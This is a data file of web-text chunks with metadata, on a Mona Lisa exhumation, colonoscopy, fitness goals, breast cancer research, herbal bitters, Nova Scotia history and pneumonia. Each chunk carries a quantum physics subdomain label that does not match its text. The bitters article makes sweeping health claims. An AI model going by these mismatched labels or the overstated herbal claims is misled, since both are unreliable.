otherwise known as \" la gioconda. \" despite this, no one has come up with an explanation for that enigmatic smile, or a lot of other details in this painting that, despite all the ink and hot air expended on it, measures a mere 77 by 52 centimeters ( about 30 by 21 inches ). in the frigid bowels of a derelict building in central florence, italy, that covers the ruins of an old franciscan convent, a group of researchers is trying to nail down some of the elusive details of the woman featured in the iconic painting. it is here that old city records say the woman who posed for the painting, lisa gherardini, the second wife of wealthy florentine silk merchant francesco del giocondo, was buried. silvano vinceti is leading a team to exhume and identify gherardini ' s remains. those remains are wrapped in aluminum foil and packed into large tupperware containers stacked in an old filing cabinet. vinceti and his colleagues took them out, one by one, and eventually found one packet with what appeared to be skull fragments. \" this is probably it, \" vinceti tells me excitedly, his eyebrows arching. the remains, he says, will be sent for dna testing to several universities in italy and abroad, where they will be checked against the dna of two confirmed relatives of gherardini buried elsewhere. i ask vinceti : why go to all this trouble to find out if this was the woman who posed for da vinci more than 500 years ago? \" once we identify the remains, \" he says, gesticulating dramatically, \" we can reconstruct the face, with a margin of error of 2 to 8 percent. by doing this, we will finally be able to answer the question the art historians can ' t : who was the model for leonardo? \" i ' ve seen this before. several years ago, i did a report about the reconstruction of the face of the pharaoh tutankhamen ( aka king tut ) by french and american forensic experts using his mummified remains as a model. after piecing together gherardini ' s skull fragments, researchers will be able to reconstruct her face, factoring in that she was probably in her early 20s when she posed for da vinci.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45858553891029386, "token_count": 495, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.202501"} {"text": "what is a virtual colonoscopy? colonoscopy uses x - rays and computers ( computed tomography [ ct ] or magnetic resonance imaging [ mri ] ) to take two - or three - dimensional images of the interior lining of your large intestine ( colon ) and rectum. a virtual colonoscopy can be used to screen for precancerous and cancerous growths in the colon or rectum ( colorectal cancer ), such as polyps or tumors. virtual colonoscopy ( also called computed tomographic colonography, or ctc ) is still being studied to determine whether the results are as accurate as a regular colonoscopy. virtual colonoscopy is not yet virtual colonoscopy is one of many tests that may be used to screen for colon cancer. which screening test you choose depends on your risk, your preference, and your doctor. talk to your doctor about what puts you at risk and what test is best for you. for more information on screening tests for colon cancer, see : colon cancer : which screening test should i have? why is it done? a virtual colonoscopy may be done - screen for colorectal cancer or - monitor the growth of polyps. - screen for recurrence of colorectal cancer in people who have had surgery for this disease. - evaluate abnormal results from other - replace a regular colonoscopy if the thin lighted scope cannot be inserted in the colon for some reason, such as when a tumor blocks the passage. virtual colonoscopy is not commonly done for other conditions at this time but may prove to be useful to : - detect other problems or diseases of the anus, rectum, or large intestine ( colon ). - check the source of - check the cause of chronic - monitor the treatment of inflammatory bowel how do i prepare for it? requires the same cleansing colon prep as a regular colonoscopy. colon prep takes 1 to 2 days depending on which type of prep your doctor recommends. for many people, the prep for a colonoscopy is more trying than the actual test. researchers are studying methods that could be used to mark ( tag ) stool in the colon before virtual colonoscopy so cleansing colon preps would not be one to two days before a colonoscopy, you will need to stop eating solid foods and drink only clear liquids, such as water, tea, coffee, clear juices, clear broths, popsicles, and", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5024740821376231, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.204996"} {"text": "the first step in any exercise program should be setting fitness goals. by taking a little time to map out your goals and plan your strategy for reaching them, you will be more successful and feel more satisfied when you achieve them. the first thing you should do when starting a fitness program is ask yourself some questions that will help you figure out what your fitness goals are. here are some questions to get you started : - what do you hope to get out of this fitness program? - are your expectations realistic? - when do you want to accomplish your goals? - how will you measure your success as you go? - how will you reward yourself when you achieve your goals? take a few minutes to think about these questions. write down your answers and refer to them as you go about setting your goals. what is your long - term goal? can it be broken into smaller steps? if you break your long - term objective into \u201c mini goals \u201d that you can accomplish more quickly, you will be more likely to stay motivated and stick with your fitness program. for instance, if you are hoping to lose 20 pounds, you might consider setting the following mini goals : - exercise for at least 30 minutes five times each week - be able to walk / jog for three miles at the end of six months - lose five pounds in one month another important thing to think about when setting your fitness goals is your timetable. before you begin, think about when you expect to achieve your goals. are your expectations realistic? if you want to drop 10 pounds by next wednesday or reduce your cholesterol levels significantly before your doctor \u2019 s appointment in two weeks, you need to reevaluate your timetable. more realistic expectations are losing 1 - 2 pounds per week or reducing your cholesterol by 10 % for next year \u2019 s physical. after you have come up with the specifics of your goals, write them down. putting your plan on paper will help you commit and will give you something to turn to in a week or a month, when you may begin veering off track. write down all of your goals ( including mini goals ) and when you expect to achieve them. leave room to log your successes and the challenges you face. you can modify your goals and timetable as you go. post your goals some place where you will see them often \u2014 your bathroom mirror, the refrigerator, your office bulletin board. this will keep you motivated and increase your chances for success. while you are writing down your goals, make a schedule that you can follow. decide how", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4418558224305844, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.208744"} {"text": "place where you will see them often \u2014 your bathroom mirror, the refrigerator, your office bulletin board. this will keep you motivated and increase your chances for success. while you are writing down your goals, make a schedule that you can follow. decide how many times a week you will exercise, what time of day will be best for you, and which days of the week work best for your schedule. by having a concrete schedule on paper, you are one step closer to incorporating exercise into your weekly routine. if you do not measure your progress, it will be hard to stay motivated. schedule regular intervals when you will measure your success. for example, if you are trying to lose weight, you might log your weight first thing every monday morning. if you want to build muscle, you can log how much weight you lift each time you workout. as your muscles get stronger, you will be able to lift more weight. if you are trying to bring your blood pressure or cholesterol under control, you can still measure your progress as you go. instead of heading to your doctor every week for a blood test, log the number of times you exercise in a week or the weight you have lost. consider these accomplishments as progress toward your ultimate goal. then, when the doctor gives you the results, you can study your own log and modify it according to your success or failure. yes, by adopting a regular fitness program, you will be rewarded with a better physique, better health, and more energy. but why not add a little extra motivation to your plan \u2014 in the form of rewards. as you set your goals ( pounds lost, trips to the gym, extra weight lifted ), plan ways to reward your progress. you might consider buying yourself a new outfit, treating yourself to a round at a new golf course, or going to a new restaurant you have been wanting to try. taking some time to set goals before you begin a fitness program will do wonders to keep you motivated and on the right track. remember, patience is essential in any exercise program. keep your mind focused on your goal, and enjoy both the pleasure and the benefits of exercise that you will gain along the way.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4701044196233545, "token_count": 441, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.210481"} {"text": "research presented at a just - concluded breast cancer symposium will help doctors understand how to use existing drugs better when certain drugs don ' t work, and how chemotherapy may not be to blame for so - called \" chemo brain. \" breast cancer doctors and researchers from around the world gathered at the san antonio breast cancer symposium in san antonio, texas, last week to learn about the latest developments in treating the disease. here are some of those latest developments : 1. ' chemo brain ' starts before chemo it ' s been known for a long time that when women undergo breast cancer treatment, they can have trouble remembering regular tasks and jobs. chemotherapy, or so - called \" chemo brain, \" has often been blamed. there ' s still no good explanation for why this happens or how to treat it. doctors are concerned about this because patients ' concerns over \" chemo brain \" may result in a reluctance to accept life - saving therapy, said bernadine cimprich, an associate professor emerita at the university of michigan school of nursing in ann arbor, who presented a new study at sabcs. using an mri, her team tested patient ' s brain function while performing a working memory task in the scanner. this was done before any chemotherapy started and a month after treatment was completed. the study involved a total of 97 participants : 28 patients receiving chemotherapy, 37 patients who got radiation therapy and 32 healthy women. the results showed that women who were scheduled to undergo chemotherapy had the lowest activation of the part of the brain that is critical for the effective performance of a working memory task : the left inferior frontal gyrus. women who were not able or less able to activate the frontal brain region suffered greater fatigue over time, regardless of treatment, cimprich said. also, women expecting chemotherapy were more worried and more fatigued than the other groups, including the radiation group.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4960886259186111, "token_count": 380, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.213456"} {"text": "| bitters : the revival of a forgotten flavor | | written by danielle charles - davies | | monday, 17 january 2011 21 : 25 | of all the flavors to grace our palate, there is perhaps none as fascinating as that of bitterness. it is a flavor that is universally despiseda\u20ac \u201d used linguistically to characterize pain, harshness and things that are extremely difficult to bear. 1 yet, it is also a flavor used in cultures the world over to strengthen digestion, cleanse the body and build vitalitya\u20ac \u201d in short, considered an ingredient essential to good health. 2, 3 in fact, so many of the plants humans have traditionally used to tonify and heal the body are bitter tasting that we still today often rate the strength and usefulness of our medicine by how terribly bitter it tastes. it is unfortunate, then, that our modern diet seems to be completely lacking in the wild bitter tasting plants our ancestors considered so fundamental to their health. 4 many of the diseases riddling our modern culturea\u20ac \u201d from indigestion and gastric reflux to metabolic disorders ranging from elevated cholesterol to type 2 diabetesa\u20ac \u201d seem to all point back to the deficiency of bitterness in our diets, and the lack of the protection and tone it imparts to our digestion and metabolic functions. 5 not a medicine but a necessity according to many, bitter herbs and foods play a helpful role in alleviating many of these conditions not so much because they act as specific remedies but because they provide components necessary to overall good health. 4, 5 it is very possible that the current national health crisis could be radically turned around simply by rebalancing our palate with the medicinal virtues of bitterness. why do so many cultures around the world revere bitter foods and herbs, not just as supplements, but as a necessary component of health? to answer this question, leta\u20ac\u2122s first consider the class of plant compounds collectively known as a\u20acsbitters. a\u20act these compoundsa\u20ac \u201d including iridoids, sesquiterpene, lactones and alkaloidsa\u20ac \u201d occur widely throughout the plant kingdom. they are considered secondary plant metabolitesa\u20ac \u201d meaning that they serve no nutritional purpose to the plant, or for that matter, to us. rather, these compounds are used by the plant to protect itself against microbes and oxidative damage, and to deter feeding by predators ( such as us ). 3, 6 an evolved taste", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4307161376288439, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.224825"} {"text": "the plant, or for that matter, to us. rather, these compounds are used by the plant to protect itself against microbes and oxidative damage, and to deter feeding by predators ( such as us ). 3, 6 an evolved taste researchers speculate that our bodies evolved to identify the bitter taste as an indication of toxicity, based on the natural aversion most mammals demonstrate towards bitter - tasting substances and the highly poisonous nature of some of these bitter compounds. 7 however, this evolutionary aversion would be disadvantageous when humans were faced with bitter - tasting nutritional plant foods in times of famine, during which time periods, according to researchers, humans developed a selective tolerance for these bitter compounds. 8, 9 when eaten in small amounts, especially in combination with carbohydrates, the body is able to tolerate their presence ; interestingly, many herbivores consume bitter - tasting plants selectively, deliberately choosing plants that are only mildly bitter, thus building up an immunity that helps protect the animal from the toxicity of highly bitter plants. 10 this adaptation allowed us to profit from some of the beneficial roles these compounds perform in the plant, such as inhibiting the growth of microbes, protecting against oxidation, and reducing inflammation. 3, 6 but most important, the protective mechanism designed to expel these potentially poisonous compounds from the body became muted and changed into a highly beneficial reflex that stimulates and tonifies our entire digestive tract. 2 humans eventually recognized the digestion - stimulating effects of bitters, and began to apply them in the diet for this purpose, as well as to promote appetite. the bitter reflex and its implications when a bitter substance is recognized by bitter receptors on the tongue, a chain of neural and endocrine events begins, labeled as the a\u20acsbitter reflex. a\u20act2 mediated by the release of the gastric hormone gastrin, this reflex results in an overall stimulation of digestive function, which over time strengthens the structure and function of all digestive organs ( liver, stomach, gallbladder, pancreas, etc. ). 6 leta\u20ac\u2122s take a more in - depth look at this reflex. imagine youa\u20ac\u2122ve tasted a bitter - tasting substance. within fifteen to thirty minutes, your appetite is noticeably increased, your digestive juices are flowing, and your intestines begin to contract in anticipation of food. 2, 3, 11 starting in your mouth, youa\u20ac\u2122ll notice that your salivary glands have increased their", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4839537777505559, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.225829"} {"text": "appetite is noticeably increased, your digestive juices are flowing, and your intestines begin to contract in anticipation of food. 2, 3, 11 starting in your mouth, youa\u20ac\u2122ll notice that your salivary glands have increased their output of enzyme - rich saliva, helping to break down complex starches into smaller and more easily digested oligosaccharides. 2, 3, 11 in the stomach, the hormone gastrin has stimulated the secretion of hydrochloric acid. 2, 3, 11 the acidity helps break down protein, enhances the bioavailability of many minerals ( especially calcium ) and destroys any harmful microbes present in your food. 12 ita\u20ac\u2122s interesting to note that more people have levels of gastric acid that are too low rather than the opposite, due to stress13 or simply aging. 11 low levels of gastric acid contribute to poor nutrition and increased susceptibility to gastrointestinal infections. 11 considered cooling by nature, bitters can reduce hot inflammatory conditions. 11 interestingly, low stomach acidity is associated with a variety of allergic and immune - mediated disorders, including asthma ; skin disorders such as eczema, psoriasis and rosacea ; gallbladder disease and arthritis. 2, 14 gastrin also stimulates secretion of pepsina\u20ac \u201d an enzyme necessary for breaking large protein molecules into smaller partsa\u20ac \u201d and intrinsic factor, necessary for the absorption of vitamin b12. the smooth muscle of the stomach is also stimulated by the bitter reflex, which increases the rate of gastric emptying, and contracts the esophageal sphincter to prevent the movement of acidic stomach contents upwards into the esophagus. 2, 3, 11 self - repair mechanisms in the intestinal wall are stimulated, enhancing cell division and growth. 3, 11 while many people with gerd are hesitant to partake of bitters due to the potential increase in stomach acidity, the combined effect of these actions actually can help this condition by ensuring that the stomach contents are moved downward rather than allowed to reflux back up and out of the stomach. bitters also act to heal any damage done to the gastric mucosa. 11 down in the small intestine, the stimulation caused by the bitter taste prompts your liver to increase its production of bile, and your gallbladder to increase bile excretion. 2, 3, 11 bile is necessary for fat digestion and the absorption of fat", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4582085461109455, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.226812"} {"text": ", 11 and reduce the incidence of allergic disorders. 2, 14 in short, the daily use of bitters can address some of the most rampant and heavily medicated health conditions of our time. 4 adding bitters to your diet historically, the use of bitters has been more of a culinary tradition than a medicinal one. perhaps our ancestors understood better than we do today the concept of prevention, of keeping well through strengthening our system rather than fighting an already established disease process. most bitters were taken in the form of bitter wild greens eaten before a meal, or alcoholic beverages, known as apa\u00a9ritifs, brewed with bitter and aromatic herbs. 2, 4 these traditions still exist todaya\u20ac \u201d serving a salad or cocktail before a meala\u20ac \u201d but unfortunately the bitter taste is now often lacking. 4 the best way to bring bitterness into your life is to incorporate the bitter taste of nutrient dense greens into your salads. chicory, dandelion, arugula, radicchio or endive are all wonderfully complex - tasting greens that can be found in your garden or local farmersa\u20ac\u2122 market. slowly increase their proportion to the sweeter tasting lettuces to build up your tolerance. bitter tasting roots, such as dandelion or burdock, can also be included in stir - fries or soups. you might also try partaking of a bitter apa\u00a9ritif or cocktail before meals. there are many traditional apa\u00a9ritifs available on most bar menus, including such traditional blends as angostura bitters, campari, cynar, or peychauda\u20ac\u2122s bitters. not surprisingly, many of these liqueurs were initially marketed as health tonics. 16 urban moonshine, an herbalist - owned botanical company located in vermont, has reinfused this old world tradition with a healthful and contemporary twist by blending all organic and locally sourced herbs into a delicious bitters tonic full of gentle, tonifying bitter herbs and spices. their line of original, maple or orange bitters make for particularly delicious apa\u00a9ritifs. visit urbanmoonshine. com for recipes. in the busy - ness of everyday life, the most convenient method of using bitters may be to take a small amount of bitters tincture ( alcoholic extract ) in a little water before you eata\u20ac \u201d as you might lose your day job if you fix yourself a bitter cocktail at work! swedish bitters is a formula easily found on", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4382854565268199, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.229660"} {"text": "to take a small amount of bitters tincture ( alcoholic extract ) in a little water before you eata\u20ac \u201d as you might lose your day job if you fix yourself a bitter cocktail at work! swedish bitters is a formula easily found on healthfood store shelves, and is based on a traditional blend of herbs created by the physician paracelsus in the sixteenth century. do exercise caution with this product if you are prone to constipation, as several of the ingredients have a strongly stimulating action on the colon wall, creating a potential for dependency. 2, 3, 6 most herb companies offer various a\u20acsbitters formulasa\u20act created from somewhat gentler herbs, and they are becoming increasingly available in natural foods stores. herb pharm, wise woman herbals, avena botanicals and urban moonshine all offer organically certified bitters blends in convenient, transportable sizes. most local herbalists and small scale herbal companies will also offer a bitters blend. please visit the websites listed below for specific product information. bitters products available commercially avena botanicals ( www. avenabotanicals. com ) ingredients : gentian root ( gentiana lutea ), burdock root ( arctium lappa ), blessed thistle leaves ( cnicus benedictus ), licorice root ( glycyrrhiza glabra ), ginger root ( zingiber officinale ) herb pharm ( www. herb - pharm. com ) ingredients : angelica root ( angelica archangelica ), hyssop leaf and flower ( hyssopus officinalis ), juniper berry ( juniperus communis ), cardamom ( elettaria cardamomum ), ginger ( zingiber officinale ), gentian ( gentiana lutea ), anise seed ( pimpinella anisum ), cinnamon ( cinnamomum aromaticum ), myrrh ( commiphora molmol ), peppermint essential oil ( mentha piperita ) maria trebena\u20ac\u2122s authentic swedish bitters ( www. swedishbitters. com ) ingredients : aloe, myrrh, saffron, senna leaves, camphor, rhubarb roots, zedvoary roots, manna, theriac venezian, carline thistle roots and angelica roots in a base of purified water swedish bitters ( www. florahealth", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40395402118607965, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.230600"} {"text": ", camphor, rhubarb roots, zedvoary roots, manna, theriac venezian, carline thistle roots and angelica roots in a base of purified water swedish bitters ( www. florahealth. com ) ingredients : aloe ( aloe vera ), angelica root ( angelica archangelica ), manna ( fraxinus ornus ), rhubarb root ( rheum palmatum ), senna leaf ( senna alexandrina ), zedvoary root ( curcuma zedoaria ), theriac venezian ( pimpinella saxifraga ), carline thistle root ( carlina acaulis ), myrrh ( commiphora molmol ), camphor ( cinnamomum camphora ), saffron ( crocus sativus ) urban moonshine ( www. urbanmoonshine. com ) ingredients : dandelion root and leaf ( taraxacum officinale ), angelica root ( angelica archangelica ), burdock root ( arctium lappa ), yellow dock root ( rumex crispus ), gentian root ( gentiana lutea ), orange peel ( citrus aurantium ), fennel seed ( foeniculum vulgare ), ginger root ( zingiber officinale ), gum arabic and organic essential oils wise woman herbals ( www. wisewomanherbals. com ) ingredients : dandelion root ( taraxacum officinale ), gentian ( gentiana lutea ), elecampane ( inula helenium ), fennel ( foeniculum vulgare ), ginger ( zingiber officinale ), turmeric ( curcuma longa ), slippery elm ( ulmus rubra ), fennel essential oil ( foeniculum vulgare ) 1. agnes, michael. webstera\u20ac\u2122s new world dictionary. new york, ny : pocket, 2003 2. mills s, bone k. principles and practice of phytotherapy. 2000. london : churchill livingstone 3. hoffmann, david. medical herbalism : the science and practice of herbal medicine. rochester, vt : healing arts, 2003 4. mcdonald, jim. a\u20acsblessed bitters. a\u20act herbcraft. org. jim mcdonald. accessed from < www. herbcraft. org / bitters. pdf >", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.369068125932703, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.231413"} {"text": "medicine. rochester, vt : healing arts, 2003 4. mcdonald, jim. a\u20acsblessed bitters. a\u20act herbcraft. org. jim mcdonald. accessed from < www. herbcraft. org / bitters. pdf > on 6 july 2010 5. green, james. the male herbal : the definitive health care book for men & boys. berkeley, ca : crossing, 2007 6. yarnell, eric. phytochemistry and pharmacy for practitioners of botanical medicine. wenatchee, wa : healing mountain publishing, inc. 2003 7. mueller m, hoon m, erlenbach i, chandrashekar j, et al. a\u20acsthe receptors and coding logic for bitter taste. a\u20act nature, 2005 mar 10 ; 434 ( 7030 ) : 225 - 9 8. behrens m and meyerhof w. a\u20acsbitter taste receptors and human bitter taste perception. a\u20act cell. mol. life sci. 63 ( 2006 ) 1501a\u20ac \u201c 1509 9. wang x, thomas s and zhang j. a\u20acsrelaxation of selective constraint and loss of function in the evolution of human bitter taste receptor genes. a\u20act human molecular genetics 2004 13 ( 21 ) : 2671 - 2678 10. torregrossa a and dearing m. a\u20acsnutritional toxicology of mammals : regulated intake of plant secondary compounds. a\u20act functional ecology 2009, 23, 48a\u20ac \u201c 56 11. waler jm. a\u20acsthe bitter remedy. a\u20act the european journal of herbal medicine. 6 ( 2 ) : 28 - 33 12. marieb e. human anatomy and physiology : sixth ed. san francisco, ca : pearson benjamin cummings, 2004 13. esplugues jv, et al. a\u20acsinhibition of gastric acid secretion by stress : a protective reflex mediated by cerebral nitric oxide. a\u20act proc natl acad sci usa. 1996 december 10 ; 93 ( 25 ) : 14839a\u20ac \u201c 14844 14. bone k. a clinical guide to blending liquid herbs. st. louis, mo : elsevier, 2003 15. bergner p. a\u20acsgastrointestinal : leaky gut, molecular mimicry, microchimerism, and autoimmunity. a\u20act medical herbalism 9 ( 4 ) : 14 - 17 16. a\u20acsthedrinkshop. com :", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.523577102054954, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.232350"} {"text": "the first settlers arrived in weymouth around the mid - 18th century ( the 1760s ) from the new england colonies, more specifically, massachusetts. among these early immigrants were members of the strickland family from weymouth, massachusetts, who settled along the banks of the river in 1765. it is believed that the strickland family influenced the naming of the district to \u2018 sissiboo \u2019. sissiboo later became weymouth, and the section at the mouth of the river, on the east side, was changed to weymouth north and weymouth point. the river retained the name sissiboo. the founding of weymouth in 1783 was no accident. that year, the treaty of paris ended the american revolution and thousands of people loyal to the british crown left new england for europe, england and other communities in british north america. nova scotia was an obvious destination and weymouth was one of many coastal communities that saw a large influx of new england settlers immediately following the american war of independence. the most well known loyalist to settle in weymouth during this post - revolutionary period was james moody ( known locally as colonel moody from new jersey ). the story of moody \u2019 s involvement in the american revolution has all the hallmarks of a hollywood movie, including secret intelligence missions into enemy territory and daring escapes from prison at the 11th hour. moody \u2019 s escapades were so well known to american rebels that george washington once called him \u201c that villain moody \u201d. moody arrived in weymouth in june, 1786 with a fistful of money from the british government, compensation for his military duties during the revolution. moody was a community builder, and is considered by many as one of the founding fathers of weymouth. moody built a shipyard, donated land for an anglican church ( at weymouth north ) and assisted local acadians in receiving clear title to their land. despite the fact that moody was a slaveholder, he possessed outstanding leadership qualities and is considered one of the best of the loyalist leaders. among the thousands of people who left new england after the american revolution, was an estimated 5, 000 black people ( about 3, 000 black loyalists ) who sailed from new york to nova scotia, the west indies, quebec, england, germany and belgium. about 3, 500 of these newly freed slaves, former slaves or slaves of white loyalists, landed in nova scotia, establishing communities in birchtown, annapolis royal, port mouton and weymouth. these black loyalists were", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3971256548303792, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.238256"} {"text": ", germany and belgium. about 3, 500 of these newly freed slaves, former slaves or slaves of white loyalists, landed in nova scotia, establishing communities in birchtown, annapolis royal, port mouton and weymouth. these black loyalists were strong people, who unlike their white loyalist counterparts were often given small barren plots of land that made survival difficult. there were few opportunities, forcing many of these early settlers to leave nova scotia or lapse back into semi - slavery. by the mid - 1800s weymouth had developed into a prosperous shipbuilding and commercial center. local shipyards constructed barques and schooners that carried lumber and other products to the american seaboard, the west indies and the british isles. while it was fish that first attracted settlers to the banks of the sissiboo, by the late 1800s it was the forest upon which the local economy was built and sustained. in 1896, s. fawes smith, an american summer resident from philadelphia, built a pulp mill near weymouth ; the mill was the mainstay of the local economy for nearly half a century. disaster struck the village in october, 1929. a huge fire raged through the downtown area destroying 25 buildings including retail shops, factories and private homes. the loss was estimated at $ 250, 000, with only $ 20, 000 of that covered by insurance. the devastating loss combined with the collapse of the north american economy caused by the great depression, was something from which weymouth never fully recovered. today, the forests still play an important role in the economy of weymouth. the lewis sawmill ( owned by j. d. irving ltd. ) at weymouth falls is one of the major employers in the area. lumber products including kiln - dried lumber and quality studs are shipped from the port of weymouth to destinations around the world ; and wood chips are loaded from the weymouth north wharf to barges destined for paper mills in new brunswick. another major employer in the village is lewis moldings and wood specialties ltd. at weymouth north. the manufacturing company produces high quality wood moldings for markets across north america. but weymouth is changing as well. new residents, overwhelmed by the raw beauty of the landscape, have moved to the area from the united states, europe and upper canada. there is a new enthusiasm in the community, which has led to an infusion of new ideas and insights into the potential of the area. new retail, accommodation and service businesses have been created, which offer visitors and", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.38406306451291194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.239232"} {"text": "| essential nutrients : minerals | vitamins | carbohydrates | proteins | fats | diets | lab test | food | pneumonia is a lung infection that can be caused by germs, including bacteria, viruses, fungi, and parasites. you may cough, run a fever, and have hard time breathing. for most people, pneumonia can be treated at home. it often clears up in 2 to 3 weeks. although different types of pneumonia tend to affect children in different age groups, pneumonia is most commonly caused by viruses. pneumonia tends to be more serious than bronchitis. sometimes bronchitis and pneumonia occur together which is called broncho - pneumonia. you can get pneumonia in your daily life, such as at school or work. you can also get it when you are in a hospital or nursing home. causes of pneumonia there are different causes of pneumonia : once organisms enter the lungs, they usually settle in the air sacs of the lung where they rapidly grow in number. this area of the lung then becomes filled with fluid and pus as the body attempts to fight off the infection. risk factors of pneumonia adults age 65 or older and very young children, whose immune systems aren ' t fully developed, are at increased risk of pneumonia. there are certain risk factors of pneumonia : signs & symptoms of pneumonia symptoms of pneumonia vary, depending on the age of the child and the cause of the pneumonia. some common symptoms include : symptoms caused by viruses are the same as those caused by bacteria. but they may come on slowly and often are not as obvious or as bad. diagnosis of pneumonia to diagnose pneumonia, the doctor begins with a medical history and physical examination. doctor may perform several kinds of test. if you are normally well, but then develop recurrent bouts of pneumonia, it may be the first sign of a problem of your lung or immune system. following tests may be advised if pneumonia recurs for no apparent reason. sputum test : sputum sample can be collected and examined under the microscope. if the pneumonia is caused by bacteria or fungi, the organisms can often be detected by this examination. blood test : a blood test that measures white blood cell count ( wbc ) may be performed. an individual ' s white blood cell count can often give a hint as to the severity of the pneumonia and whether it is caused by bacteria or a virus. bronchoscopy is a procedure in which a thin, flexible, lighted viewing tube is inserted into the nose or mouth after a local an", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4995007031302095, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.244565"} {"text": "give a hint as to the severity of the pneumonia and whether it is caused by bacteria or a virus. bronchoscopy is a procedure in which a thin, flexible, lighted viewing tube is inserted into the nose or mouth after a local anesthetic is administered. the breathing passages can then be directly examined by the doctor, and specimens from the infected part of the lung can be obtained. sometimes, fluid collects in the pleural space around the lung as a result of the inflammation from pneumonia. this fluid is called a pleural effusion. if the amount of this fluid that develops is large enough, it can be removed by inserting a needle into the chest cavity and withdrawing the fluid with a syringe in a procedure called a thoracentesis. preventions of pneumonia there are a number of steps you can take to help prevent getting pneumonia. treatments of pneumonia in most cases, pneumonia can be treated with oral antibiotics given to your child at home. the type of antibiotic used depends on the type of pneumonia. sometimes oxygen and other supportive treatments are needed if you have severe pneumonia. serious pneumonia can be life - threatening, go to your doctor right away if you feel symptoms of pneumonia like chest pain, fever of 102 f or higher along with chills and sweats - or if you suddenly feel worse after a cold or the flu. home treatment of pneumonia the effect of pneumonia can be decreased by using following home remedies : | \u2022 back and neck | | \u2022 bone and joints | | \u2022 cancer | | \u2022 child health | | \u2022 eye and vision | | \u2022 kidney and liver | | \u2022 lungs and chest | | \u2022 pregnancy | | \u2022 women health | | more on whereincity. com | | fun & info. | | : | | jokes | shayari | articles | poems | stories | tongue twisters | sms | quotations | lyrics | recipes | personal pages | | city pages | | : | | ahmedabad | bangalore | chandigarh | delhi | hyderabad | kolkatta | mumbai | lucknow | ludhiana | pune | more | | india | | : | | history | pincodes | std codes | isd codes | lok sabha | indian railways | culture | | freedom fighters | great indians | | medical | | : | | doctors | hospitals | articles | contraception | diseases | vitamins | minerals | proteins | fats | carbohydrates | | astrology | | : | | horoscopes | vedic astrology | gem therapy", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4908546544333723, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.247453"} {"text": "| : | | doctors | hospitals | articles | contraception | diseases | vitamins | minerals | proteins | fats | carbohydrates | | astrology | | : | | horoscopes | vedic astrology | gem therapy | palmistry | match making | life predictions | horoscope 2013 | | kids | | : | | kids album | rhymes | baby names | articles | learning centre | animals gallery | | education | | : | | study abroad | gmat | standardized tests | schools | universities | | photos | | : | | city photos | celebrity special | misc. photos | | business | | : | | yellow pages | classifieds | business pages | | movies | | : | | bollywood | hollywood | tamil | telugu | list | | immigration | | : | | canada | australia | new zealand | | products | | : | | cars | bikes | mobile phones | cameras | televisions | laptops | books | ac | refrigerator | appliances | | other | | : | | cricket | locations | star screen awards 2011 | film fare 2011 | songs | | all rights reserved to www. whereincity. com | site by : glow web services pvt. ltd. | this site does not provide medical or any other health care advice, diagnosis or treatment. the site and its services, including the information above, are for informational purposes only and are not a substitute for professional medical advice, examination, diagnosis or treatment. always seek the advice of your physician or 